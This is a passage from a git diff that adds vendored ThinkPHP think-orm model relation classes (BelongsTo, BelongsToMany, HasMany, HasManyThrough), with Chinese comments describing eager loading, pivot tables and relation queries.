$this->selfRelation = true; + } + } + + /** + * 延迟获取关联数据 + * @access public + * @param array $subRelation 子关联名 + * @param Closure $closure 闭包查询条件 + * @return Model + */ + public function getRelation(array $subRelation = [], Closure $closure = null) + { + if ($closure) { + $closure($this->getClosureType($closure)); + } + + $foreignKey = $this->foreignKey; + + $relationModel = $this->query + ->removeWhereField($this->localKey) + ->where($this->localKey, $this->parent->$foreignKey) + ->relation($subRelation) + ->find(); + + if ($relationModel) { + if (!empty($this->bindAttr)) { + // 绑定关联属性 + $this->bindAttr($this->parent, $relationModel); + } + + $relationModel->setParent(clone $this->parent); + } + + return $relationModel; + } + + /** + * 创建关联统计子查询 + * @access public + * @param Closure $closure 闭包 + * @param string $aggregate 聚合查询方法 + * @param string $field 字段 + * @param string $name 聚合字段别名 + * @return string + */ + public function getRelationCountQuery(Closure $closure = null, string $aggregate = 'count', string $field = '*', &$name = ''): string + { + if ($closure) { + $closure($this->getClosureType($closure), $name); + } + + return $this->query + ->whereExp($this->localKey, '=' . $this->parent->getTable() . '.' . $this->foreignKey) + ->fetchSql() + ->$aggregate($field); + } + + /** + * 关联统计 + * @access public + * @param Model $result 数据对象 + * @param Closure $closure 闭包 + * @param string $aggregate 聚合查询方法 + * @param string $field 字段 + * @param string $name 统计字段别名 + * @return integer + */ + public function relationCount(Model $result, Closure $closure = null, string $aggregate = 'count', string $field = '*', string &$name = null) + { + $foreignKey = $this->foreignKey; + + if (!isset($result->$foreignKey)) { + return 0; + } + + if ($closure) { + $closure($this->getClosureType($closure), $name); + } + + return $this->query + ->where($this->localKey, '=', $result->$foreignKey) + ->$aggregate($field); + } + + /** + * 根据关联条件查询当前模型 + * @access public + * @param string $operator 比较操作符 + * @param integer $count 个数 + * @param string $id 关联表的统计字段 + * @param string $joinType JOIN类型 + * @param Query $query Query对象 + * @return Query + */ + public function has(string $operator = '>=', int $count = 1, string $id = '*', string $joinType = '', Query $query = null): Query + { + $table = $this->query->getTable(); + $model = class_basename($this->parent); + $relation = class_basename($this->model); + $localKey = $this->localKey; + $foreignKey = $this->foreignKey; + $softDelete = $this->query->getOptions('soft_delete'); + $query = $query ?: $this->parent->db()->alias($model); + + return $query->whereExists(function ($query) use ($table, $model, $relation, $localKey, $foreignKey, $softDelete) { + $query->table([$table => $relation]) + ->field($relation . '.' . $localKey) + ->whereExp($model . '.' . $foreignKey, '=' . $relation . '.' . $localKey) + ->when($softDelete, function ($query) use ($softDelete, $relation) { + $query->where($relation . strstr($softDelete[0], '.'), '=' == $softDelete[1][0] ? $softDelete[1][1] : null); + }); + }); + } + + /** + * 根据关联条件查询当前模型 + * @access public + * @param mixed $where 查询条件(数组或者闭包) + * @param mixed $fields 字段 + * @param string $joinType JOIN类型 + * @param Query $query Query对象 + * @return Query + */ + public function hasWhere($where = [], $fields = null, string $joinType = '', Query $query = null): Query + { + $table = $this->query->getTable(); + $model = class_basename($this->parent); + $relation = class_basename($this->model); + + if (is_array($where)) { + $this->getQueryWhere($where, $relation); + } elseif ($where instanceof Query) { + $where->via($relation); + } elseif ($where instanceof Closure) { + $where($this->query->via($relation)); + $where = $this->query; + } + + $fields = $this->getRelationQueryFields($fields, $model); + $softDelete = $this->query->getOptions('soft_delete'); + $query = $query ?: $this->parent->db()->alias($model); + + return $query->field($fields) + ->join([$table => $relation], $model . '.' . $this->foreignKey . '=' . $relation . '.' . $this->localKey, $joinType ?: $this->joinType) + ->when($softDelete, function ($query) use ($softDelete, $relation) { + $query->where($relation . strstr($softDelete[0], '.'), '=' == $softDelete[1][0] ? $softDelete[1][1] : null); + }) + ->where($where); + } + + /** + * 预载入关联查询(数据集) + * @access protected + * @param array $resultSet 数据集 + * @param string $relation 当前关联名 + * @param array $subRelation 子关联名 + * @param Closure $closure 闭包 + * @param array $cache 关联缓存 + * @return void + */ + protected function eagerlySet(array &$resultSet, string $relation, array $subRelation = [], Closure $closure = null, array $cache = []): void + { + $localKey = $this->localKey; + $foreignKey = $this->foreignKey; + + $range = []; + foreach ($resultSet as $result) { + // 获取关联外键列表 + if (isset($result->$foreignKey)) { + $range[] = $result->$foreignKey; + } + } + + if (!empty($range)) { + $this->query->removeWhereField($localKey); + + $data = $this->eagerlyWhere([ + [$localKey, 'in', $range], + ], $localKey, $subRelation, $closure, $cache); + + // 关联数据封装 + foreach ($resultSet as $result) { + // 关联模型 + if (!isset($data[$result->$foreignKey])) { + $relationModel = null; + } else { + $relationModel = $data[$result->$foreignKey]; + $relationModel->setParent(clone $result); + $relationModel->exists(true); + } + + if (!empty($this->bindAttr)) { + // 绑定关联属性 + $this->bindAttr($result, $relationModel); + } else { + // 设置关联属性 + $result->setRelation($relation, $relationModel); + } + } + } + } + + /** + * 预载入关联查询(数据) + * @access protected + * @param Model $result 数据对象 + * @param string $relation 当前关联名 + * @param array $subRelation 子关联名 + * @param Closure $closure 闭包 + * @param array $cache 关联缓存 + * @return void + */ + protected function eagerlyOne(Model $result, string $relation, array $subRelation = [], Closure $closure = null, array $cache = []): void + { + $localKey = $this->localKey; + $foreignKey = $this->foreignKey; + + $this->query->removeWhereField($localKey); + + $data = $this->eagerlyWhere([ + [$localKey, '=', $result->$foreignKey], + ], $localKey, $subRelation, $closure, $cache); + + // 关联模型 + if (!isset($data[$result->$foreignKey])) { + $relationModel = null; + } else { + $relationModel = $data[$result->$foreignKey]; + $relationModel->setParent(clone $result); + $relationModel->exists(true); + } + + if (!empty($this->bindAttr)) { + // 绑定关联属性 + $this->bindAttr($result, $relationModel); + } else { + // 设置关联属性 + $result->setRelation($relation, $relationModel); + } + } + + /** + * 添加关联数据 + * @access public + * @param Model $model关联模型对象 + * @return Model + */ + public function associate(Model $model): Model + { + $this->parent->setAttr($this->foreignKey, $model->getKey()); + $this->parent->save(); + + return $this->parent->setRelation($this->relation, $model); + } + + /** + * 注销关联数据 + * @access public + * @return Model + */ + public function dissociate(): Model + { + $foreignKey = $this->foreignKey; + + $this->parent->setAttr($foreignKey, null); + $this->parent->save(); + + return $this->parent->setRelation($this->relation, null); + } + + /** + * 执行基础查询(仅执行一次) + * @access protected + * @return void + */ + protected function baseQuery(): void + { + if (empty($this->baseQuery)) { + if (isset($this->parent->{$this->foreignKey})) { + // 关联查询带入关联条件 + $this->query->where($this->localKey, '=', $this->parent->{$this->foreignKey}); + } + + $this->baseQuery = true; + } + } +} diff --git a/vendor/topthink/think-orm/src/model/relation/BelongsToMany.php b/vendor/topthink/think-orm/src/model/relation/BelongsToMany.php new file mode 100644 index 0000000..6b64d95 --- /dev/null +++ b/vendor/topthink/think-orm/src/model/relation/BelongsToMany.php @@ -0,0 +1,684 @@ + +// +---------------------------------------------------------------------- + +namespace think\model\relation; + +use Closure; +use think\Collection; +use think\db\BaseQuery as Query; +use think\db\exception\DbException as Exception; +use think\db\Raw; +use think\Model; +use think\model\Pivot; +use think\model\Relation; +use think\Paginator; + +/** + * 多对多关联类 + */ +class BelongsToMany extends Relation +{ + /** + * 中间表表名 + * @var string + */ + protected $middle; + + /** + * 中间表模型名称 + * @var string + */ + protected $pivotName; + + /** + * 中间表模型对象 + * @var Pivot + */ + protected $pivot; + + /** + * 中间表数据名称 + * @var string + */ + protected $pivotDataName = 'pivot'; + + /** + * 架构函数 + * @access public + * @param Model $parent 上级模型对象 + * @param string $model 模型名 + * @param string $middle 中间表/模型名 + * @param string $foreignKey 关联模型外键 + * @param string $localKey 当前模型关联键 + */ + public function __construct(Model $parent, string $model, string $middle, string $foreignKey, string $localKey) + { + $this->parent = $parent; + $this->model = $model; + $this->foreignKey = $foreignKey; + $this->localKey = $localKey; + + if (false !== strpos($middle, '\\')) { + $this->pivotName = $middle; + $this->middle = class_basename($middle); + } else { + $this->middle = $middle; + } + + $this->query = (new $model)->db(); + $this->pivot = $this->newPivot(); + } + + /** + * 设置中间表模型 + * @access public + * @param $pivot + * @return $this + */ + public function pivot(string $pivot) + { + $this->pivotName = $pivot; + return $this; + } + + /** + * 设置中间表数据名称 + * @access public + * @param string $name + * @return $this + */ + public function name(string $name) + { + $this->pivotDataName = $name; + return $this; + } + + /** + * 实例化中间表模型 + * @access public + * @param $data + * @return Pivot + * @throws Exception + */ + protected function newPivot(array $data = []): Pivot + { + $class = $this->pivotName ?: Pivot::class; + $pivot = new $class($data, $this->parent, $this->middle); + + if ($pivot instanceof Pivot) { + return $pivot; + } else { + throw new Exception('pivot model must extends: \think\model\Pivot'); + } + } + + /** + * 合成中间表模型 + * @access protected + * @param array|Collection|Paginator $models + */ + protected function hydratePivot(iterable $models) + { + foreach ($models as $model) { + $pivot = []; + + foreach ($model->getData() as $key => $val) { + if (strpos($key, '__')) { + [$name, $attr] = explode('__', $key, 2); + + if ('pivot' == $name) { + $pivot[$attr] = $val; + unset($model->$key); + } + } + } + + $model->setRelation($this->pivotDataName, $this->newPivot($pivot)); + } + } + + /** + * 延迟获取关联数据 + * @access public + * @param array $subRelation 子关联名 + * @param Closure $closure 闭包查询条件 + * @return Collection + */ + public function getRelation(array $subRelation = [], Closure $closure = null): Collection + { + if ($closure) { + $closure($this->getClosureType($closure)); + } + + $result = $this->relation($subRelation) + ->select() + ->setParent(clone $this->parent); + + $this->hydratePivot($result); + + return $result; + } + + /** + * 重载select方法 + * @access public + * @param mixed $data + * @return Collection + */ + public function select($data = null): Collection + { + $this->baseQuery(); + $result = $this->query->select($data); + $this->hydratePivot($result); + + return $result; + } + + /** + * 重载paginate方法 + * @access public + * @param int|array $listRows + * @param int|bool $simple + * @return Paginator + */ + public function paginate($listRows = null, $simple = false): Paginator + { + $this->baseQuery(); + $result = $this->query->paginate($listRows, $simple); + $this->hydratePivot($result); + + return $result; + } + + /** + * 重载find方法 + * @access public + * @param mixed $data + * @return Model + */ + public function find($data = null) + { + $this->baseQuery(); + $result = $this->query->find($data); + + if ($result && !$result->isEmpty()) { + $this->hydratePivot([$result]); + } + + return $result; + } + + /** + * 根据关联条件查询当前模型 + * @access public + * @param string $operator 比较操作符 + * @param integer $count 个数 + * @param string $id 关联表的统计字段 + * @param string $joinType JOIN类型 + * @param Query $query Query对象 + * @return Model + */ + public function has(string $operator = '>=', $count = 1, $id = '*', string $joinType = 'INNER', Query $query = null) + { + return $this->parent; + } + + /** + * 根据关联条件查询当前模型 + * @access public + * @param mixed $where 查询条件(数组或者闭包) + * @param mixed $fields 字段 + * @param string $joinType JOIN类型 + * @param Query $query Query对象 + * @return Query + * @throws Exception + */ + public function hasWhere($where = [], $fields = null, string $joinType = '', Query $query = null) + { + throw new Exception('relation not support: hasWhere'); + } + + /** + * 设置中间表的查询条件 + * @access public + * @param string $field + * @param string $op + * @param mixed $condition + * @return $this + */ + public function wherePivot($field, $op = null, $condition = null) + { + $this->query->where('pivot.' . $field, $op, $condition); + return $this; + } + + /** + * 预载入关联查询(数据集) + * @access public + * @param array $resultSet 数据集 + * @param string $relation 当前关联名 + * @param array $subRelation 子关联名 + * @param Closure $closure 闭包 + * @param array $cache 关联缓存 + * @return void + */ + public function eagerlyResultSet(array &$resultSet, string $relation, array $subRelation, Closure $closure = null, array $cache = []): void + { + $localKey = $this->localKey; + $pk = $resultSet[0]->getPk(); + $range = []; + + foreach ($resultSet as $result) { + // 获取关联外键列表 + if (isset($result->$pk)) { + $range[] = $result->$pk; + } + } + + if (!empty($range)) { + // 查询关联数据 + $data = $this->eagerlyManyToMany([ + ['pivot.' . $localKey, 'in', $range], + ], $subRelation, $closure, $cache); + + // 关联数据封装 + foreach ($resultSet as $result) { + if (!isset($data[$result->$pk])) { + $data[$result->$pk] = []; + } + + $result->setRelation($relation, $this->resultSetBuild($data[$result->$pk], clone $this->parent)); + } + } + } + + /** + * 预载入关联查询(单个数据) + * @access public + * @param Model $result 数据对象 + * @param string $relation 当前关联名 + * @param array $subRelation 子关联名 + * @param Closure $closure 闭包 + * @param array $cache 关联缓存 + * @return void + */ + public function eagerlyResult(Model $result, string $relation, array $subRelation, Closure $closure = null, array $cache = []): void + { + $pk = $result->getPk(); + + if (isset($result->$pk)) { + $pk = $result->$pk; + // 查询管理数据 + $data = $this->eagerlyManyToMany([ + ['pivot.' . $this->localKey, '=', $pk], + ], $subRelation, $closure, $cache); + + // 关联数据封装 + if (!isset($data[$pk])) { + $data[$pk] = []; + } + + $result->setRelation($relation, $this->resultSetBuild($data[$pk], clone $this->parent)); + } + } + + /** + * 关联统计 + * @access public + * @param Model $result 数据对象 + * @param Closure $closure 闭包 + * @param string $aggregate 聚合查询方法 + * @param string $field 字段 + * @param string $name 统计字段别名 + * @return integer + */ + public function relationCount(Model $result, Closure $closure = null, string $aggregate = 'count', string $field = '*', string &$name = null): float + { + $pk = $result->getPk(); + + if (!isset($result->$pk)) { + return 0; + } + + $pk = $result->$pk; + + if ($closure) { + $closure($this->getClosureType($closure), $name); + } + + return $this->belongsToManyQuery($this->foreignKey, $this->localKey, [ + ['pivot.' . $this->localKey, '=', $pk], + ])->$aggregate($field); + } + + /** + * 获取关联统计子查询 + * @access public + * @param Closure $closure 闭包 + * @param string $aggregate 聚合查询方法 + * @param string $field 字段 + * @param string $name 统计字段别名 + * @return string + */ + public function getRelationCountQuery(Closure $closure = null, string $aggregate = 'count', string $field = '*', string &$name = null): string + { + if ($closure) { + $closure($this->getClosureType($closure), $name); + } + + return $this->belongsToManyQuery($this->foreignKey, $this->localKey, [ + [ + 'pivot.' . $this->localKey, 'exp', new Raw('=' . $this->parent->db(false)->getTable() . '.' . $this->parent->getPk()), + ], + ])->fetchSql()->$aggregate($field); + } + + /** + * 多对多 关联模型预查询 + * @access protected + * @param array $where 关联预查询条件 + * @param array $subRelation 子关联 + * @param Closure $closure 闭包 + * @param array $cache 关联缓存 + * @return array + */ + protected function eagerlyManyToMany(array $where, array $subRelation = [], Closure $closure = null, array $cache = []): array + { + if ($closure) { + $closure($this->getClosureType($closure)); + } + + // 预载入关联查询 支持嵌套预载入 + $list = $this->belongsToManyQuery($this->foreignKey, $this->localKey, $where) + ->with($subRelation) + ->cache($cache[0] ?? false, $cache[1] ?? null, $cache[2] ?? null) + ->select(); + + // 组装模型数据 + $data = []; + foreach ($list as $set) { + $pivot = []; + foreach ($set->getData() as $key => $val) { + if (strpos($key, '__')) { + [$name, $attr] = explode('__', $key, 2); + if ('pivot' == $name) { + $pivot[$attr] = $val; + unset($set->$key); + } + } + } + $key = $pivot[$this->localKey]; + + if ($this->withLimit && isset($data[$key]) && count($data[$key]) >= $this->withLimit) { + continue; + } + + $set->setRelation($this->pivotDataName, $this->newPivot($pivot)); + + $data[$key][] = $set; + } + + return $data; + } + + /** + * BELONGS TO MANY 关联查询 + * @access protected + * @param string $foreignKey 关联模型关联键 + * @param string $localKey 当前模型关联键 + * @param array $condition 关联查询条件 + * @return Query + */ + protected function belongsToManyQuery(string $foreignKey, string $localKey, array $condition = []): Query + { + // 关联查询封装 + if (empty($this->baseQuery)) { + $tableName = $this->query->getTable(); + $table = $this->pivot->db()->getTable(); + $fields = $this->getQueryFields($tableName); + + if ($this->withLimit) { + $this->query->limit($this->withLimit); + } + + $this->query + ->field($fields) + ->tableField(true, $table, 'pivot', 'pivot__') + ->join([$table => 'pivot'], 'pivot.' . $foreignKey . '=' . $tableName . '.' . $this->query->getPk()) + ->where($condition); + + } + + return $this->query; + } + + /** + * 保存(新增)当前关联数据对象 + * @access public + * @param mixed $data 数据 可以使用数组 关联模型对象 和 关联对象的主键 + * @param array $pivot 中间表额外数据 + * @return array|Pivot + */ + public function save($data, array $pivot = []) + { + // 保存关联表/中间表数据 + return $this->attach($data, $pivot); + } + + /** + * 批量保存当前关联数据对象 + * @access public + * @param iterable $dataSet 数据集 + * @param array $pivot 中间表额外数据 + * @param bool $samePivot 额外数据是否相同 + * @return array|false + */ + public function saveAll(iterable $dataSet, array $pivot = [], bool $samePivot = false) + { + $result = []; + + foreach ($dataSet as $key => $data) { + if (!$samePivot) { + $pivotData = $pivot[$key] ?? []; + } else { + $pivotData = $pivot; + } + + $result[] = $this->attach($data, $pivotData); + } + + return empty($result) ? false : $result; + } + + /** + * 附加关联的一个中间表数据 + * @access public + * @param mixed $data 数据 可以使用数组、关联模型对象 或者 关联对象的主键 + * @param array $pivot 中间表额外数据 + * @return array|Pivot + * @throws Exception + */ + public function attach($data, array $pivot = []) + { + if (is_array($data)) { + if (key($data) === 0) { + $id = $data; + } else { + // 保存关联表数据 + $model = new $this->model; + $id = $model->insertGetId($data); + } + } elseif (is_numeric($data) || is_string($data)) { + // 根据关联表主键直接写入中间表 + $id = $data; + } elseif ($data instanceof Model) { + // 根据关联表主键直接写入中间表 + $id = $data->getKey(); + } + + if (!empty($id)) { + // 保存中间表数据 + $pivot[$this->localKey] = $this->parent->getKey(); + + $ids = (array) $id; + foreach ($ids as $id) { + $pivot[$this->foreignKey] = $id; + $this->pivot->replace() + ->exists(false) + ->data([]) + ->save($pivot); + $result[] = $this->newPivot($pivot); + } + + if (count($result) == 1) { + // 返回中间表模型对象 + $result = $result[0]; + } + + return $result; + } else { + throw new Exception('miss relation data'); + } + } + + /** + * 判断是否存在关联数据 + * @access public + * @param mixed $data 数据 可以使用关联模型对象 或者 关联对象的主键 + * @return Pivot|false + */ + public function attached($data) + { + if ($data instanceof Model) { + $id = $data->getKey(); + } else { + $id = $data; + } + + $pivot = $this->pivot + ->where($this->localKey, $this->parent->getKey()) + ->where($this->foreignKey, $id) + ->find(); + + return $pivot ?: false; + } + + /** + * 解除关联的一个中间表数据 + * @access public + * @param integer|array $data 数据 可以使用关联对象的主键 + * @param bool $relationDel 是否同时删除关联表数据 + * @return integer + */ + public function detach($data = null, bool $relationDel = false): int + { + if (is_array($data)) { + $id = $data; + } elseif (is_numeric($data) || is_string($data)) { + // 根据关联表主键直接写入中间表 + $id = $data; + } elseif ($data instanceof Model) { + // 根据关联表主键直接写入中间表 + $id = $data->getKey(); + } + + // 删除中间表数据 + $pivot = []; + $pivot[] = [$this->localKey, '=', $this->parent->getKey()]; + + if (isset($id)) { + $pivot[] = [$this->foreignKey, is_array($id) ? 'in' : '=', $id]; + } + + $result = $this->pivot->where($pivot)->delete(); + + // 删除关联表数据 + if (isset($id) && $relationDel) { + $model = $this->model; + $model::destroy($id); + } + + return $result; + } + + /** + * 数据同步 + * @access public + * @param array $ids + * @param bool $detaching + * @return array + */ + public function sync(array $ids, bool $detaching = true): array + { + $changes = [ + 'attached' => [], + 'detached' => [], + 'updated' => [], + ]; + + $current = $this->pivot + ->where($this->localKey, $this->parent->getKey()) + ->column($this->foreignKey); + + $records = []; + + foreach ($ids as $key => $value) { + if (!is_array($value)) { + $records[$value] = []; + } else { + $records[$key] = $value; + } + } + + $detach = array_diff($current, array_keys($records)); + + if ($detaching && count($detach) > 0) { + $this->detach($detach); + $changes['detached'] = $detach; + } + + foreach ($records as $id => $attributes) { + if (!in_array($id, $current)) { + $this->attach($id, $attributes); + $changes['attached'][] = $id; + } elseif (count($attributes) > 0 && $this->attach($id, $attributes)) { + $changes['updated'][] = $id; + } + } + + return $changes; + } + + /** + * 执行基础查询(仅执行一次) + * @access protected + * @return void + */ + protected function baseQuery(): void + { + if (empty($this->baseQuery)) { + $foreignKey = $this->foreignKey; + $localKey = $this->localKey; + + // 关联查询 + if (null === $this->parent->getKey()) { + $condition = ['pivot.' . $localKey, 'exp', new Raw('=' . $this->parent->getTable() . '.' . $this->parent->getPk())]; + } else { + $condition = ['pivot.' . $localKey, '=', $this->parent->getKey()]; + } + + $this->belongsToManyQuery($foreignKey, $localKey, [$condition]); + + $this->baseQuery = true; + } + } + +} diff --git a/vendor/topthink/think-orm/src/model/relation/HasMany.php b/vendor/topthink/think-orm/src/model/relation/HasMany.php new file mode 100644 index 0000000..a67d41b --- /dev/null +++ b/vendor/topthink/think-orm/src/model/relation/HasMany.php @@ -0,0 +1,367 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\model\relation; + +use Closure; +use think\Collection; +use think\db\BaseQuery as Query; +use think\helper\Str; +use think\Model; +use think\model\Relation; + +/** + * 一对多关联类 + */ +class HasMany extends Relation +{ + /** + * 架构函数 + * @access public + * @param Model $parent 上级模型对象 + * @param string $model 模型名 + * @param string $foreignKey 关联外键 + * @param string $localKey 当前模型主键 + */ + public function __construct(Model $parent, string $model, string $foreignKey, string $localKey) + { + $this->parent = $parent; + $this->model = $model; + $this->foreignKey = $foreignKey; + $this->localKey = $localKey; + $this->query = (new $model)->db(); + + if (get_class($parent) == $model) { + $this->selfRelation = true; + } + } + + /** + * 延迟获取关联数据 + * @access public + * @param array $subRelation 子关联名 + * @param Closure $closure 闭包查询条件 + * @return Collection + */ + public function getRelation(array $subRelation = [], Closure $closure = null): Collection + { + if ($closure) { + $closure($this->getClosureType($closure)); + } + + if ($this->withLimit) { + $this->query->limit($this->withLimit); + } + + return $this->query + ->where($this->foreignKey, $this->parent->{$this->localKey}) + ->relation($subRelation) + ->select() + ->setParent(clone $this->parent); + } + + /** + * 预载入关联查询 + * @access public + * @param array $resultSet 数据集 + * @param string $relation 当前关联名 + * @param array $subRelation 子关联名 + * @param Closure $closure 闭包 + * @param array $cache 关联缓存 + * @return void + */ + public function eagerlyResultSet(array &$resultSet, string $relation, array $subRelation, Closure $closure = null, array $cache = []): void + { + $localKey = $this->localKey; + $range = []; + + foreach ($resultSet as $result) { + // 获取关联外键列表 + if (isset($result->$localKey)) { + $range[] = $result->$localKey; + } + } + + if (!empty($range)) { + $data = $this->eagerlyOneToMany([ + [$this->foreignKey, 'in', $range], + ], $subRelation, $closure, $cache); + + // 关联数据封装 + foreach ($resultSet as $result) { + $pk = $result->$localKey; + if (!isset($data[$pk])) { + $data[$pk] = []; + } + + $result->setRelation($relation, $this->resultSetBuild($data[$pk], clone $this->parent)); + } + } + } + + /** + * 预载入关联查询 + * @access public + * @param Model $result 数据对象 + * @param string $relation 当前关联名 + * @param array $subRelation 子关联名 + * @param Closure $closure 闭包 + * @param array $cache 关联缓存 + * @return void + */ + public function eagerlyResult(Model $result, string $relation, array $subRelation = [], Closure $closure = null, array $cache = []): void + { + $localKey = $this->localKey; + + if (isset($result->$localKey)) { + $pk = $result->$localKey; + $data = $this->eagerlyOneToMany([ + [$this->foreignKey, '=', $pk], + ], $subRelation, $closure, $cache); + + // 关联数据封装 + if (!isset($data[$pk])) { + $data[$pk] = []; + } + + $result->setRelation($relation, $this->resultSetBuild($data[$pk], clone $this->parent)); + } + } + + /** + * 关联统计 + * @access public + * @param Model $result 数据对象 + * @param Closure $closure 闭包 + * @param string $aggregate 聚合查询方法 + * @param string $field 字段 + * @param string $name 统计字段别名 + * @return integer + */ + public function relationCount(Model $result, Closure $closure = null, string $aggregate = 'count', string $field = '*', string &$name = null) + { + $localKey = $this->localKey; + + if (!isset($result->$localKey)) { + return 0; + } + + if ($closure) { + $closure($this->getClosureType($closure), $name); + } + + return $this->query + ->where($this->foreignKey, '=', $result->$localKey) + ->$aggregate($field); + } + + /** + * 创建关联统计子查询 + * @access public + * @param Closure $closure 闭包 + * @param string $aggregate 聚合查询方法 + * @param string $field 字段 + * @param string $name 统计字段别名 + * @return string + */ + public function getRelationCountQuery(Closure $closure = null, string $aggregate = 'count', string $field = '*', string &$name = null): string + { + if ($closure) { + $closure($this->getClosureType($closure), $name); + } + + return $this->query->alias($aggregate . '_table') + ->whereExp($aggregate . '_table.' . $this->foreignKey, '=' . $this->parent->getTable() . '.' . $this->localKey) + ->fetchSql() + ->$aggregate($field); + } + + /** + * 一对多 关联模型预查询 + * @access public + * @param array $where 关联预查询条件 + * @param array $subRelation 子关联 + * @param Closure $closure + * @param array $cache 关联缓存 + * @return array + */ + protected function eagerlyOneToMany(array $where, array $subRelation = [], Closure $closure = null, array $cache = []): array + { + $foreignKey = $this->foreignKey; + + $this->query->removeWhereField($this->foreignKey); + + // 预载入关联查询 支持嵌套预载入 + if ($closure) { + $this->baseQuery = true; + $closure($this->getClosureType($closure)); + } + + $list = $this->query + ->where($where) + ->cache($cache[0] ?? false, $cache[1] ?? null, $cache[2] ?? null) + ->with($subRelation) + ->select(); + + // 组装模型数据 + $data = []; + + foreach ($list as $set) { + $key = $set->$foreignKey; + + if ($this->withLimit && isset($data[$key]) && count($data[$key]) >= $this->withLimit) { + continue; + } + + $data[$key][] = $set; + } + + return $data; + } + + /** + * 保存(新增)当前关联数据对象 + * @access public + * @param mixed $data 数据 可以使用数组 关联模型对象 + * @param boolean $replace 是否自动识别更新和写入 + * @return Model|false + */ + public function save($data, bool $replace = true) + { + $model = $this->make(); + + return $model->replace($replace)->save($data) ? $model : false; + } + + /** + * 创建关联对象实例 + * @param array|Model $data + * @return Model + */ + public function make($data = []): Model + { + if ($data instanceof Model) { + $data = $data->getData(); + } + + // 保存关联表数据 + $data[$this->foreignKey] = $this->parent->{$this->localKey}; + + return new $this->model($data); + } + + /** + * 批量保存当前关联数据对象 + * @access public + * @param iterable $dataSet 数据集 + * @param boolean $replace 是否自动识别更新和写入 + * @return array|false + */ + public function saveAll(iterable $dataSet, bool $replace = true) + { + $result = []; + + foreach ($dataSet as $key => $data) { + $result[] = $this->save($data, $replace); + } + + return empty($result) ? false : $result; + } + + /** + * 根据关联条件查询当前模型 + * @access public + * @param string $operator 比较操作符 + * @param integer $count 个数 + * @param string $id 关联表的统计字段 + * @param string $joinType JOIN类型 + * @param Query $query Query对象 + * @return Query + */ + public function has(string $operator = '>=', int $count = 1, string $id = '*', string $joinType = 'INNER', Query $query = null): Query + { + $table = $this->query->getTable(); + + $model = class_basename($this->parent); + $relation = class_basename($this->model); + + if ('*' != $id) { + $id = $relation . '.' . (new $this->model)->getPk(); + } + + $softDelete = $this->query->getOptions('soft_delete'); + $query = $query ?: $this->parent->db()->alias($model); + + return $query->field($model . '.*') + ->join([$table => $relation], $model . '.' . $this->localKey . '=' . $relation . '.' . $this->foreignKey, $joinType) + ->when($softDelete, function ($query) use ($softDelete, $relation) { + $query->where($relation . strstr($softDelete[0], '.'), '=' == $softDelete[1][0] ? $softDelete[1][1] : null); + }) + ->group($relation . '.' . $this->foreignKey) + ->having('count(' . $id . ')' . $operator . $count); + } + + /** + * 根据关联条件查询当前模型 + * @access public + * @param mixed $where 查询条件(数组或者闭包) + * @param mixed $fields 字段 + * @param string $joinType JOIN类型 + * @param Query $query Query对象 + * @return Query + */ + public function hasWhere($where = [], $fields = null, string $joinType = '', Query $query = null): Query + { + $table = $this->query->getTable(); + $model = class_basename($this->parent); + $relation = class_basename($this->model); + + if (is_array($where)) { + $this->getQueryWhere($where, $relation); + } elseif ($where instanceof Query) { + $where->via($relation); + } elseif ($where instanceof Closure) { + $where($this->query->via($relation)); + $where = $this->query; + } + + $fields = $this->getRelationQueryFields($fields, $model); + $softDelete = $this->query->getOptions('soft_delete'); + $query = $query ?: $this->parent->db()->alias($model); + + return $query->group($model . '.' . $this->localKey) + ->field($fields) + ->join([$table => $relation], $model . '.' . $this->localKey . '=' . $relation . '.' . $this->foreignKey, $joinType) + ->when($softDelete, function ($query) use ($softDelete, $relation) { + $query->where($relation . strstr($softDelete[0], '.'), '=' == $softDelete[1][0] ? $softDelete[1][1] : null); + }) + ->where($where); + } + + /** + * 执行基础查询(仅执行一次) + * @access protected + * @return void + */ + protected function baseQuery(): void + { + if (empty($this->baseQuery)) { + if (isset($this->parent->{$this->localKey})) { + // 关联查询带入关联条件 + $this->query->where($this->foreignKey, '=', $this->parent->{$this->localKey}); + } + + $this->baseQuery = true; + } + } + +} diff --git a/vendor/topthink/think-orm/src/model/relation/HasManyThrough.php b/vendor/topthink/think-orm/src/model/relation/HasManyThrough.php new file mode 100644 index 0000000..30d5ca4 --- /dev/null +++ b/vendor/topthink/think-orm/src/model/relation/HasManyThrough.php @@ -0,0 +1,382 @@ + +// +---------------------------------------------------------------------- + +namespace think\model\relation; + +use Closure; +use think\Collection; +use think\db\BaseQuery as Query; +use think\helper\Str; +use think\Model; +use think\model\Relation; + +/** + * 远程一对多关联类 + */ +class HasManyThrough extends Relation +{ + /** + * 中间关联表外键 + * @var string + */ + protected $throughKey; + + /** + * 中间主键 + * @var string + */ + protected $throughPk; + + /** + * 中间表查询对象 + * @var Query + */ + protected $through; + + /** + * 架构函数 + * @access public + * @param Model $parent 上级模型对象 + * @param string $model 关联模型名 + * @param string $through 中间模型名 + * @param string $foreignKey 关联外键 + * @param string $throughKey 中间关联外键 + * @param string $localKey 当前模型主键 + * @param string $throughPk 中间模型主键 + */ + public function __construct(Model $parent, string $model, string $through, string $foreignKey, string $throughKey, string $localKey, string $throughPk) + { + $this->parent = $parent; + $this->model = $model; + $this->through = (new $through)->db(); + $this->foreignKey = $foreignKey; + $this->throughKey = $throughKey; + $this->localKey = $localKey; + $this->throughPk = $throughPk; + $this->query = (new $model)->db(); + } + + /** + * 延迟获取关联数据 + * @access public + * @param array $subRelation 子关联名 + * @param Closure $closure 闭包查询条件 + * @return Collection + */ + public function getRelation(array $subRelation = [], Closure $closure = null) + { + if ($closure) { + $closure($this->getClosureType($closure)); + } + + $this->baseQuery(); + + if ($this->withLimit) { + $this->query->limit($this->withLimit); + } + + return $this->query->relation($subRelation) + ->select() + ->setParent(clone $this->parent); + } + + /** + * 根据关联条件查询当前模型 + * @access public + * @param string $operator 比较操作符 + * @param integer $count 个数 + * @param string $id 关联表的统计字段 + * @param string $joinType JOIN类型 + * @param Query $query Query对象 + * @return Query + */ + public function has(string $operator = '>=', int $count = 1, string $id = '*', string $joinType = '', Query $query = null): Query + { + $model = Str::snake(class_basename($this->parent)); + $throughTable = $this->through->getTable(); + $pk = $this->throughPk; + $throughKey = $this->throughKey; + $relation = new $this->model; + $relationTable = $relation->getTable(); + $softDelete = $this->query->getOptions('soft_delete'); + + if ('*' != $id) { + $id = $relationTable . '.' . $relation->getPk(); + } + $query = $query ?: 